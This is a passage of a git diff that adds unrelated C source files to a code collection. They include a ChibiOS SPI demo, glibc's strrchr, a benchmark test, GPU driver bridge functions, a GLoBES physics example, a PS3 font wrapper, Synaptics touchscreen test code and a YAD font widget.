+  SPI_CR2_DS_2 | SPI_CR2_DS_1 | SPI_CR2_DS_0
+};
+
+/*
+ * SPI TX and RX buffers.
+ */
+static uint8_t txbuf[512];
+static uint8_t rxbuf[512];
+
+/*
+ * SPI bus contender 1.
+ */
+static THD_WORKING_AREA(spi_thread_1_wa, 256);
+static THD_FUNCTION(spi_thread_1, p) {
+
+  (void)p;
+
+  chRegSetThreadName("SPI thread 1");
+  while (true) {
+    spiAcquireBus(&SPID2);              /* Acquire ownership of the bus.    */
+    palClearPad(GPIOC, GPIOC_LED2);     /* LED ON.                          */
+    spiStart(&SPID2, &hs_spicfg);       /* Setup transfer parameters.       */
+    spiSelect(&SPID2);                  /* Slave Select assertion.          */
+    spiExchange(&SPID2, 512,
+                txbuf, rxbuf);          /* Atomic transfer operations.      */
+    spiUnselect(&SPID2);                /* Slave Select de-assertion.       */
+    spiReleaseBus(&SPID2);              /* Ownership release.               */
+  }
+}
+
+/*
+ * SPI bus contender 2.
+ */
+static THD_WORKING_AREA(spi_thread_2_wa, 256);
+static THD_FUNCTION(spi_thread_2, p) {
+
+  (void)p;
+
+  chRegSetThreadName("SPI thread 2");
+  while (true) {
+    spiAcquireBus(&SPID2);              /* Acquire ownership of the bus.    */
+    palSetPad(GPIOC, GPIOC_LED2);       /* LED OFF.                         */
+    spiStart(&SPID2, &ls_spicfg);       /* Setup transfer parameters.       */
+    spiSelect(&SPID2);                  /* Slave Select assertion.          */
+    spiExchange(&SPID2, 512,
+                txbuf, rxbuf);          /* Atomic transfer operations.      */
+    spiUnselect(&SPID2);                /* Slave Select de-assertion.       */
+    spiReleaseBus(&SPID2);              /* Ownership release.               */
+  }
+}
+
+/*
+ * This is a periodic thread that does absolutely nothing except flashing
+ * a LED.
+ */
+static THD_WORKING_AREA(blinker_wa, 128);
+static THD_FUNCTION(blinker, arg) {
+
+  (void)arg;
+
+  chRegSetThreadName("blinker");
+  while (true) {
+    palSetPad(GPIOC, GPIOC_LED1);
+    chThdSleepMilliseconds(500);
+    palClearPad(GPIOC, GPIOC_LED1);
+    chThdSleepMilliseconds(500);
+  }
+}
+
+/*
+ * Application entry point.
+ */
+int main(void) {
+  unsigned i;
+
+  /*
+   * System initializations.
+   * - HAL initialization, this also initializes the configured device drivers
+   *   and performs the board-specific initializations.
+   * - Kernel initialization, the main() function becomes a thread and the
+   *   RTOS is active.
+   */
+  halInit();
+  chSysInit();
+
+  /*
+   * SPI2 I/O pins setup.
+   */
+  palSetPadMode(GPIOB, 14, PAL_MODE_ALTERNATE(5) |
+                           PAL_STM32_OSPEED_HIGHEST);       /* New MISO.    */
+  palSetPadMode(GPIOB, 15, PAL_MODE_ALTERNATE(5) |
+                           PAL_STM32_OSPEED_HIGHEST);       /* New MOSI.    */
+
+  /*
+   * Prepare transmit pattern.
+   */
+  for (i = 0; i < sizeof(txbuf); i++)
+    txbuf[i] = (uint8_t)i;
+
+  /*
+   * Starting the transmitter and receiver threads.
+   */
+  chThdCreateStatic(spi_thread_1_wa, sizeof(spi_thread_1_wa),
+                    NORMALPRIO + 1, spi_thread_1, NULL);
+  chThdCreateStatic(spi_thread_2_wa, sizeof(spi_thread_2_wa),
+                    NORMALPRIO + 1, spi_thread_2, NULL);
+
+  /*
+   * Starting the blinker thread.
+   */
+  chThdCreateStatic(blinker_wa, sizeof(blinker_wa),
+                    NORMALPRIO-1, blinker, NULL);
+
+  /*
+   * Normal main() thread activity, in this demo it does nothing.
+   */
+  while (true) {
+    chThdSleepMilliseconds(500);
+  }
+  return 0;
+}
diff --git a/pool/shard001/C/0022384_strrchr.c b/pool/shard001/C/0022384_strrchr.c
new file mode 100644
index 0000000000000000000000000000000000000000..8f815e9ff49105857896854c6b5297e6e8e996e5
--- /dev/null
+++ b/pool/shard001/C/0022384_strrchr.c
@@ -0,0 +1,49 @@
+/* Copyright (C) 1991, 1995, 1996, 1997, 2003 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <string.h>
+
+#undef strrchr
+
+/* Find the last occurrence of C in S.  */
+char *
+strrchr (const char *s, int c)
+{
+  register const char *found, *p;
+
+  c = (unsigned char) c;
+
+  /* Since strchr is fast, we use it rather than the obvious loop.  */
+
+  if (c == '\0')
+    return strchr (s, '\0');
+
+  found = NULL;
+  while ((p = strchr (s, c)) != NULL)
+    {
+      found = p;
+      s = p + 1;
+    }
+
+  return (char *) found;
+}
+
+#ifdef weak_alias
+#undef rindex
+weak_alias (strrchr, rindex)
+#endif
diff --git a/pool/shard001/C/0022397_IOtestC.c b/pool/shard001/C/0022397_IOtestC.c
new file mode 100644
index 0000000000000000000000000000000000000000..ead3586699e7b11a66855ad62d0010905a02cdcf
--- /dev/null
+++ b/pool/shard001/C/0022397_IOtestC.c
@@ -0,0 +1,115 @@
+
+/****
+    Copyright (C) 1996 McGill University.
+    Copyright (C) 1996 McCAT System Group.
+    Copyright (C) 1996 ACAPS Benchmark Administrator
+                       benadmin@acaps.cs.mcgill.ca
+
+    This program is free software; you can redistribute it and/or modify
+    it provided this copyright notice is maintained.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  
+****/
+
+#include <stdio.h>
+#include "IOtest.h"
+
+/* slow version */
+
+static void initminB(char_t *res)
+{
+  setac(0);
+  *res=255;
+}
+
+static void initmaxB(char_t *res)
+{
+  setac(0);
+  *res=0;
+}
+
+static void initaddB(char_t *res)
+{
+  setac(0);
+  *res=0;
+}
+
+static void initmultB(char_t *res)
+{
+  setac(0);
+  *res=1;
+}
+
+
+static void stepminB(char_t *res)
+/* {{{  */
+
+{
+  register char_t t;
+  unsigned long i;
+  t=array(getac());
+  *res=min(*res,t);
+  i=getac()+4097;
+  setac(i);
+}
+
+/* }}} */
+
+static void stepmaxB(char_t *res)
+/* {{{  */
+{
+  register char_t t;
+  unsigned long i;
+  t=array(getac());
+  *res=max(*res,t);
+  i=getac()+4097 ;
+  setac(i);
+}
+/* }}} */
+
+static void stepaddB(char_t *res)
+/* {{{  */
+{
+  register char_t t;
+  unsigned long i;
+  t=array(getac());
+  *res=add(*res,t);
+  i=getac()+4097;
+  setac(i);
+}
+/* }}} */
+
+static void stepmultB(char_t *res)
+/* {{{  */
+
+{
+  register char_t t;
+  unsigned long i;
+  t=array(getac());
+  *res=mult(*res,t);
+  i=getac()+4097;
+  setac(i);
+}
+
+/* }}} */
+
+
+void testC()
+{
+  struct global_result res;
+
+  initarray();
+
+  loop((void (*)(void *))&initminB,(void (*)(void *))&stepminB,&(res.min));
+
+  loop((void (*)(void *))&initmaxB,(void (*)(void *))&stepmaxB,&(res.max));
+
+  loop((void (*)(void *))&initaddB,(void (*)(void *))&stepaddB,&(res.add));
+
+  loop((void (*)(void *))&initmultB,(void (*)(void *))&stepmultB,&(res.mult));
+
+  printf("C %d min %d max %d add %d mult \n",res.min,res.max,res.add,res.mult);
+
+}
diff --git a/pool/shard001/C/0022404_client_pdumpctrl_direct_bridge.c b/pool/shard001/C/0022404_client_pdumpctrl_direct_bridge.c
new file mode 100644
index 0000000000000000000000000000000000000000..46566570ac63f3d9356c480e8e43d448c7b9f5b6
--- /dev/null
+++ b/pool/shard001/C/0022404_client_pdumpctrl_direct_bridge.c
@@ -0,0 +1,112 @@
+/*************************************************************************/ /*!
+@Title          Direct client bridge for pdumpctrl
+@Copyright      Copyright (c) Imagination Technologies Ltd. All Rights Reserved
+@License        Dual MIT/GPLv2
+
+The contents of this file are subject to the MIT license as set out below.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+Alternatively, the contents of this file may be used under the terms of
+the GNU General Public License Version 2 ("GPL") in which case the provisions
+of GPL are applicable instead of those above.
+
+If you wish to allow use of your version of this file only under the terms of
+GPL, and not to allow others to use your version of this file under the terms
+of the MIT license, indicate your decision by deleting the provisions above
+and replace them with the notice and other provisions required by GPL as set
+out in the file called "GPL-COPYING" included in this distribution. If you do
+not delete the provisions above, a recipient may use your version of this file
+under the terms of either the MIT license or GPL.
+
+This License is also included in this distribution in the file called
+"MIT-COPYING".
+
+EXCEPT AS OTHERWISE STATED IN A NEGOTIATED AGREEMENT: (A) THE SOFTWARE IS
+PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
+BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+PURPOSE AND NONINFRINGEMENT; AND (B) IN NO EVENT SHALL THE AUTHORS OR
+COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+*/ /**************************************************************************/
+
+#include "client_pdumpctrl_bridge.h"
+#include "img_defs.h"
+#include "pvr_debug.h"
+
+/* Module specific includes */
+
+#include "pdump_km.h"
+
+
+IMG_INTERNAL PVRSRV_ERROR IMG_CALLCONV BridgePVRSRVPDumpIsCapturing(IMG_HANDLE hBridge,
+								    IMG_BOOL *pbIsCapturing)
+{
+	PVRSRV_ERROR eError;
+	PVR_UNREFERENCED_PARAMETER(hBridge);
+
+
+	eError =
+		PDumpIsCaptureFrameKM(
+					pbIsCapturing);
+
+	return eError;
+}
+
+IMG_INTERNAL PVRSRV_ERROR IMG_CALLCONV BridgePVRSRVPDumpGetFrame(IMG_HANDLE hBridge,
+								 IMG_UINT32 *pui32Frame)
+{
+	PVRSRV_ERROR eError;
+
+
+	eError =
+		PDumpGetFrameKM(NULL, (PVRSRV_DEVICE_NODE *)((void*) hBridge)
+		,
+					pui32Frame);
+
+	return eError;
+}
+
+IMG_INTERNAL PVRSRV_ERROR IMG_CALLCONV BridgePVRSRVPDumpSetDefaultCaptureParams(IMG_HANDLE hBridge,
+										IMG_UINT32 ui32Mode,
+										IMG_UINT32 ui32Start,
+										IMG_UINT32 ui32End,
+										IMG_UINT32 ui32Interval,
+										IMG_UINT32 ui32MaxParamFileSize)
+{
+	PVRSRV_ERROR eError;
+	PVR_UNREFERENCED_PARAMETER(hBridge);
+
+
+	eError =
+		PDumpSetDefaultCaptureParamsKM(
+					ui32Mode,
+					ui32Start,
+					ui32End,
+					ui32Interval,
+					ui32MaxParamFileSize);
+
+	return eError;
+}
+
+IMG_INTERNAL PVRSRV_ERROR IMG_CALLCONV BridgePVRSRVPDumpIsLastCaptureFrame(IMG_HANDLE hBridge)
+{
+	PVRSRV_ERROR eError;
+	PVR_UNREFERENCED_PARAMETER(hBridge);
+
+
+	eError =
+		PDumpIsLastCaptureFrameKM(
+					);
+	return eError;
+}
+
diff --git a/pool/shard001/C/0022407_example3.c b/pool/shard001/C/0022407_example3.c
new file mode 100644
index 0000000000000000000000000000000000000000..7cc4bae4359806c04983e171c97f29bc5f3adf9f
--- /dev/null
+++ b/pool/shard001/C/0022407_example3.c
@@ -0,0 +1,108 @@
+/* GLoBES -- General LOng Baseline Experiment Simulator
+ * (C) 2002 - 2007,  The GLoBES Team
+ *
+ * GLoBES is mainly intended for academic purposes. Proper
+ * credit must be given if you use GLoBES or parts of it. Please
+ * read the section 'Credit' in the README file.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ */
+ 
+ /* 
+ * Example: Find the sgn(dm31^2)-degeneracy and compute shape with glbChiSys
+ * Compile with ``make example3''
+ */ 
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <math.h>
+#include <string.h>
+
+#include <globes/globes.h>   /* GLoBES library */
+#include "myio.h"             /* my input-output routines */
+
+/* If filename given, write to file; for empty filename write to screen */
+char MYFILE[]="test3.dat";
+
+int main(int argc, char *argv[])
+{ 
+  /* Initialize libglobes */
+  glbInit(argv[0]); 
+
+  /* Initialize experiment NFstandard.glb */
+  glbInitExperiment("NFstandard.glb",&glb_experiment_list[0],&glb_num_of_exps); 
+
+  /* Intitialize output */
+  InitOutput(MYFILE,"Format: Log(10,s22th13)   deltacp   chi^2 \n"); 
+ 
+  /* Define standard oscillation parameters */
+  double theta12 = asin(sqrt(0.8))/2;
+  double theta13 = asin(sqrt(0.001))/2;
+  double theta23 = M_PI/4;
+  double deltacp = M_PI/2;
+  double sdm = 7e-5;
+  double ldm = 2e-3;
+  
+  /* Initialize parameter vector(s) */
+  glb_params true_values = glbAllocParams();
+  glb_params central_values = glbAllocParams();
+  glb_params input_errors = glbAllocParams();
+  glb_params deg_pos = glbAllocParams();
+
+  /* The simulated data are computed */
+  glbDefineParams(true_values,theta12,theta13,theta23,deltacp,sdm,ldm);
+  glbSetDensityParams(true_values,1.0,GLB_ALL);
+  glbSetOscillationParameters(true_values);
+  glbSetRates();
+
+  /* Find sgn-degeneracy */  
+  glbDefineParams(central_values,theta12,theta13,theta23,deltacp,sdm,-ldm);  
+  glbSetDensityParams(central_values,1.0,GLB_ALL);
+  glbDefineParams(input_errors,theta12*0.1,0,0,0,sdm*0.1,ldm/3);  
+  glbSetDensityParams(input_errors,0.05,GLB_ALL);
+  glbSetCentralValues(central_values);
+  glbSetInputErrors(input_errors);
+  double CL=glbChiAll(central_values,deg_pos,GLB_ALL);
+   
+  printf("Position of degeneracy: s22th13=%g, deltacp=%g; Confidence level: %g \n",
+    glbGetOscParams(deg_pos,GLB_THETA_13),glbGetOscParams(deg_pos,GLB_DELTA_CP),CL);
+  
+  /* If degeneracy at low enough confidence level: compute section */
+  if(CL<9.0)
+  {
+    double thetheta13,x,y,res;    
+    for(x=-4.0;x<-2.0+0.01;x=x+2.0/50)
+    for(y=0.0;y<200.0+0.01;y=y+200.0/50)
+    {
+        /* Set vector of test values */
+        thetheta13=asin(sqrt(pow(10,x)))/2;
+        glbSetOscParams(deg_pos,thetheta13,GLB_THETA_13);
+        glbSetOscParams(deg_pos,y*M_PI/180.0,GLB_DELTA_CP);
+    
+        /* Compute Chi^2 for all loaded experiments and all rules */
+        res=glbChiSys(deg_pos,GLB_ALL,GLB_ALL);
+
+        AddToOutput(x,y,res);
+    }
+  }
+   
+  /* Destroy parameter vector(s) */
+  glbFreeParams(true_values);
+  glbFreeParams(central_values); 
+  glbFreeParams(input_errors); 
+  glbFreeParams(deg_pos); 
+  
+  exit(0);
+}
diff --git a/pool/shard001/C/0022408_font_wrapper.c b/pool/shard001/C/0022408_font_wrapper.c
new file mode 100644
index 0000000000000000000000000000000000000000..4816e2f26ae617cf68c3c09511e4bdfb79e69fb5
--- /dev/null
+++ b/pool/shard001/C/0022408_font_wrapper.c
@@ -0,0 +1,70 @@
+#include <ppu-asm.h>
+#include <ppu-types.h>
+
+#include <font/font.h>
+
+extern s32 fontGetLibraryEx(font *f,const fontLibrary* ATTRIBUTE_PRXPTR *lib,u32 *type);
+extern s32 fontGetBindingRendererEx(font *f,fontRenderer* ATTRIBUTE_PRXPTR *renderer);
+extern s32 fontGenerateCharGlyphEx(font *f,u32 code,fontGlyph* ATTRIBUTE_PRXPTR *glyph);
+extern s32 fontGenerateCharGlyphVerticalEx(font *f,u32 code,fontGlyph* ATTRIBUTE_PRXPTR *glyph);
+
+void fontGetStubRevisionFlags(u64 *revisionFlags)
+{
+	if(revisionFlags == NULL) return;
+	*revisionFlags = 0x14;
+}
+
+s32 fontGetLibrary(font *f,const fontLibrary **lib,u32 *type)
+{
+	s32 ret;
+	const fontLibrary *l ATTRIBUTE_PRXPTR;
+	
+	if(f == NULL || lib == NULL || type == NULL) return 0x80540002;
+
+	ret = fontGetLibraryEx(f,&l,type);
+	*lib = ret == 0 ? l : NULL;
+	
+	return ret;	 
+}
+
+s32 fontGetBindingRenderer(font *f,fontRenderer **renderer)
+{
+	s32 ret;
+	fontRenderer *r ATTRIBUTE_PRXPTR;
+	
+	if(f == NULL || renderer == NULL) return 0x80540002;
+	
+	ret = fontGetBindingRendererEx(f,&r);
+	*renderer = ret == 0 ? r : NULL;
+	
+	return ret;
+}
+
+s32 fontGenerateCharGlyph(font *f,u32 code,fontGlyph **glyph)
+{
+	s32 ret;
+	fontGlyph *g ATTRIBUTE_PRXPTR;
+	
+	if(f == NULL || glyph == NULL) return 0x80540002;
+	
+	ret = fontGenerateCharGlyphEx(f,code,&g);
+	*glyph = ret == 0 ? g : NULL;
+	
+	return ret;
+}
+
+s32 fontGenerateCharGlyphVertical(font *f,u32 code,fontGlyph **glyph)
+{
+	s32 ret;
+	fontGlyph *g ATTRIBUTE_PRXPTR;
+	
+	if(f == NULL || glyph == NULL) return 0x80540002;
+	
+	ret = fontGenerateCharGlyphVerticalEx(f,code,&g);
+	*glyph = ret == 0 ? g : NULL;
+	
+	return ret;
+}
+
+
+
diff --git a/pool/shard001/C/0022413_RefCode_CustomerImplementation.c b/pool/shard001/C/0022413_RefCode_CustomerImplementation.c
new file mode 100644
index 0000000000000000000000000000000000000000..a9197e28cb326930ff8518f6b596f29bc4eeeb5e
--- /dev/null
+++ b/pool/shard001/C/0022413_RefCode_CustomerImplementation.c
@@ -0,0 +1,337 @@
+/*
+   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   Copyright (c) 2011 Synaptics, Inc.
+
+   Permission is hereby granted, free of charge, to any person obtaining a copy of
+   this software and associated documentation files (the "Software"), to deal in
+   the Software without restriction, including without limitation the rights to use,
+   copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the
+   Software, and to permit persons to whom the Software is furnished to do so,
+   subject to the following conditions:
+
+   The above copyright notice and this permission notice shall be included in all
+   copies or substantial portions of the Software.
+
+   THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+   IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+   AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+   OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+   SOFTWARE.
+
+   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+*/
+#include "RefCode_F54.h"
+#include <linux/i2c.h>
+#include <linux/slab.h>
+#include <linux/delay.h>	//msleep
+#include <linux/file.h>		//for file access
+#include <linux/syscalls.h> //for file access
+#include <linux/uaccess.h>  //for file access
+#include <linux/firmware.h>
+
+static char line[49152]={0};
+int UpperImage[32][32];
+int LowerImage[32][32];
+int SensorSpeedUpperImage[32][32];
+int SensorSpeedLowerImage[32][32];
+int ADCUpperImage[32][32];
+int ADCLowerImage[32][32];
+
+extern struct i2c_client* ds4_i2c_client;
+//extern struct i2c_client *tpd_i2c_client;
+
+
+extern int touch_i2c_read(struct i2c_client *client, u8 reg, int len, u8 *buf);
+extern int touch_i2c_write(struct i2c_client *client, u8 reg, int len, u8 * buf);
+
+ extern int synaptics_ts_read ( struct i2c_client *client, u8 reg, int num, u8 *buf );
+extern int synaptics_ts_write ( struct i2c_client *client, u8 reg, int len, u8 *buf );
+extern int synaptics_ts_read_f54(struct i2c_client * client,u8 reg,int num,u8 * buf);
+
+int Read8BitRegisters(unsigned short regAddr, unsigned char *data, int length)
+{
+	// I2C read
+	int rst = 0;
+	if( ds4_i2c_client == NULL)
+	{
+		printk("s3528 ds4_i2c_client is null");
+		return -1;
+	}
+	
+	rst = synaptics_ts_read(ds4_i2c_client, regAddr, length, data);
+	if ( rst < 0 )
+	{
+				TPD_ERR ( "Read8BitRegisters read fail\n" );
+	}
+
+	
+	
+	return rst;
+}
+
+int ReadF54BitRegisters(unsigned short regAddr, unsigned char *data, int length)
+{
+	TPD_FUN();
+	// I2C read
+	int rst = 0;
+	if( ds4_i2c_client == NULL)
+	{
+		printk("s3528 ds4_i2c_client is null");
+		return -1;
+	}
+	
+	rst = synaptics_ts_read_f54(ds4_i2c_client, regAddr, length, data);
+	if ( rst < 0 )
+	{
+				TPD_ERR ( "Read8BitRegisters read fail\n" );
+	}
+	return rst;
+}
+
+
+
+int Write8BitRegisters(unsigned short regAddr, unsigned char *data, int length)
+{
+	// I2C write
+	int rst = 0;
+	if(ds4_i2c_client == NULL)
+		{
+			printk("s3528 ds4_i2c_client is null");
+			return -1;
+		}
+
+	
+	rst = synaptics_ts_write(ds4_i2c_client, regAddr, length, data);
+	
+	if ( rst < 0 )
+	{
+				TPD_ERR ( "Write8BitRegisters read fail\n" );
+	}
+	return rst;
+}
+
+void delayMS_DS5(int val)
+{
+	// Wait for val MS
+	msleep(val);
+}
+
+int write_file(char *filename, char *data)
+{
+	int fd = 0;
+
+	fd = sys_open(filename, O_WRONLY|O_CREAT|O_APPEND, 0666);
+	if (fd < 0) {
+		printk("[s3528_write_file] :  Open file error [ %d ]\n", fd);
+		return fd;
+	} else {
+		sys_write(fd, data, strlen(data));
+		sys_close(fd);
+	}
+	return 0;
+}
+
+
+int write_log_DS5(char *filename, char *data)
+{
+	//extern int f54_window_crack;
+	//extern int f54_window_crack_check_mode;
+
+	int fd;
+	char *fname = "/mnt/sdcard/touch_self_test.txt";
+	int cap_file_exist = 0;
+
+		mm_segment_t old_fs = get_fs();
+		set_fs(KERNEL_DS);
+		if(filename == NULL){
+			fd = sys_open(fname, O_WRONLY|O_CREAT|O_APPEND, 0666);
+			printk("write log in /mnt/sdcard/touch_self_test.txt\n");
+		} else{
+			fd = sys_open(filename, O_WRONLY|O_CREAT, 0666);
+			printk("write log in /sns/touch/cap_diff_test.txt\n");
+		}
+
+		printk("[s3528-write_log]write file open %s, fd : %d\n", (fd >= 0)? "success": "fail", fd);
+
+		if(fd >= 0) {
+			/*because of erro, this code is blocked.*/
+			/*if(sys_newstat((char __user *) fname, (struct stat *)&fstat) < 0) {
+			  printk("[Touch] cannot read %s stat info\n", fname);
+			  } else {
+			  if(fstat.st_size > 5 * 1024 * 1024) {
+			  printk("[Touch] delete %s\n", fname);
+			  sys_unlink(fname);
+			  sys_close(fd);
+
+			  fd = sys_open(fname, O_WRONLY|O_CREAT|O_APPEND, 0644);
+			  if(fd >= 0) {
+			  sys_write(fd, data, strlen(data));
+			  }
+			  } else {
+			  sys_write(fd, data, strlen(data));
+			  }
+			  sys_close(fd);
+			  }*/
+			sys_write(fd, data, strlen(data));
+			sys_close(fd);
+
+			if(filename != NULL)
+				cap_file_exist = 1;
+		}
+		set_fs(old_fs);
+
+	return cap_file_exist;
+}
+
+//seungmin.noh
+#if 0
+void read_log(char *filename, const struct touch_platform_data *pdata)
+{
+	int fd;
+	char* buf = NULL;
+	int rx_num = 0;
+	int tx_num = 0;
+	int data_pos = 0;
+	int offset = 0;
+
+	struct touch_platform_data *ppdata = (struct touch_platform_data*)pdata;
+
+	mm_segment_t old_fs = get_fs();
+	set_fs(KERNEL_DS);
+
+	fd = sys_open(filename, O_RDONLY, 0);
+	buf = kzalloc(1024, GFP_KERNEL);
+
+	printk("[s3528-read_log]read file open %s, fd : %d\n", (fd >= 0)? "success": "fail", fd);
+
+	if (fd >= 0) {
+		printk("[s3528-read_log]open read_log funcion in /sns/touch/cap_diff_test.txt\n",__FUNCTION__);
+		while(sys_read(fd, buf, 1024)) {
+
+			printk("[s3528-read_log]sys_read success\n");
+
+			for(rx_num = 0; rx_num < (ppdata->rx_ch_count) - 1; rx_num++)
+			{
+				sscanf(buf + data_pos, "%d%n", &ppdata->rx_cap[rx_num], &offset);
+				data_pos += offset;
+			}
+
+			for(tx_num = 0; tx_num < (ppdata->tx_ch_count) - 1; tx_num++)
+			{
+				sscanf(buf + data_pos, "%d%n", &ppdata->tx_cap[tx_num], &offset);
+				data_pos += offset;
+			}
+
+			printk("[s3528-read_log]rx_num = %d, tx_num = %d\n", rx_num, tx_num);
+			printk("[s3528-read_log]rx_ch_count = %d, tx_ch_count = %d\n", ppdata->rx_ch_count, ppdata->tx_ch_count);
+
+			if((rx_num == (ppdata->rx_ch_count) -1) && (tx_num == (ppdata->tx_ch_count) -1))
+				break;
+		}
+
+		sys_close(fd);
+	}
+
+	if(buf)
+		kfree(buf);
+
+	set_fs(old_fs);
+
+}
+#endif 
+
+#if 0
+int get_limit(unsigned char Tx, unsigned char Rx, struct i2c_client client, const struct touch_platform_data *pdata, char *breakpoint, int limit_data[32][32])
+{
+	int p = 0;
+	int q = 0;
+	int r = 0;
+	int cipher = 1;
+	int ret = 0;
+	int rx_num = 0;
+	int tx_num = 0;
+	const struct firmware *fwlimit = NULL;
+
+	printk("[s3528-get_limit] Tx=[%d], Rx=[%d]\n", (int)Tx, (int)Rx);
+	printk("[s3528-get_limit] breakpoint = [%s]\n", breakpoint);
+
+	if (pdata->panel_spec == NULL) {
+		printk("panel_spec_file name is null\n");
+		ret =  -1;
+		goto exit;
+	}
+
+	if(request_firmware(&fwlimit, pdata->panel_spec, &client.dev) < 0) {
+		printk(" request ihex is failed\n");
+		ret =  -1;
+		goto exit;
+	}
+
+	strcpy(line, fwlimit->data);
+
+	q = strstr(line, breakpoint) - line;
+
+	if (q < 0) {
+		printk("failed to find breakpoint. The panel_spec_file is wrong");
+		ret =  -1;
+		goto exit;
+	}
+
+	memset(limit_data, 0, (TRX_max * TRX_max) * 4);
+
+	while(1) {
+		if (line[q] == ',') {
+			cipher = 1;
+			for (p = 1; (line[q - p] >= '0') && (line[q - p] <= '9'); p++) {
+				limit_data[tx_num][rx_num] += ((line[q - p] - '0') * cipher);
+				//printk("[r = %d]limit_data[%d][%d] = %d\n", r, tx_num, rx_num, limit_data[tx_num][rx_num]);
+				cipher *= 10;
+			}
+			if(line[q - p] == '-') {
+				limit_data[tx_num][rx_num] = (-1) * (limit_data[tx_num][rx_num]);
+				//printk("[r = %d]limit_data[%d][%d] = %d\n", r, tx_num, rx_num, limit_data[tx_num][rx_num]);
+			}
+			r++;
+
+			if(r % (int)Rx == 0){
+				rx_num = 0;
+				tx_num++;
+			} else {
+				rx_num++;
+			}
+		}
+		q++;
+
+		if (r == (int)Tx * (int)Rx) {
+			printk("panel_spec_file scanning is success\n");
+			break;
+		}
+	}
+
+	if (fwlimit)
+		release_firmware(fwlimit);
+
+	return ret;
+
+exit :
+	if (fwlimit)
+		release_firmware(fwlimit);
+
+	return ret;
+
+}
+#endif
+
+#if 0
+void main(void)
+	/* Please be informed this main() function & related functions are an example for host implementation */
+{
+	PowerOnSensor();
+	delayMS(400);
+
+	F54Test();
+	PowerOffSensor();
+}
+#endif
diff --git a/pool/shard001/C/0022415_font.c b/pool/shard001/C/0022415_font.c
new file mode 100644
index 0000000000000000000000000000000000000000..3d47028a6c4cc79645316bc293752d7261ce266d
--- /dev/null
+++ b/pool/shard001/C/0022415_font.c
@@ -0,0 +1,56 @@
+/*
+ * This file is part of YAD.
+ *
+ * YAD is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * YAD is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with YAD. If not, see <http://www.gnu.org/licenses/>.
+ *
+ * Copyright (C) 2008-2014, Victor Ananjevsky <ananasik@gmail.com>
+ */
+
+#include <errno.h>
+
+#include <glib/gprintf.h>
+
+#include "yad.h"
+
+static GtkWidget *font;
+
+static void
+realize_cb (GtkWidget * w, gpointer d)
+{
+  gtk_font_selection_set_font_name (GTK_FONT_SELECTION (w), options.common_data.font);
+}
+
+GtkWidget *
+font_create_widget (GtkWidget * dlg)
+{
+  GtkWidget *w;
+
+  w = font = gtk_font_selection_new ();
+  gtk_widget_set_name (w, "yad-font-widget");
+
+  if (options.font_data.preview)
+    gtk_font_selection_set_preview_text (GTK_FONT_SELECTION (w), options.font_data.preview);
+
+  /* font must be set after widget inserted in toplevel */
+  if (options.common_data.font)
+    g_signal_connect_after (G_OBJECT (w), "realize", G_CALLBACK (realize_cb), NULL);
+
+  return w;
+}
+
+void
+font_print_result (void)
+{
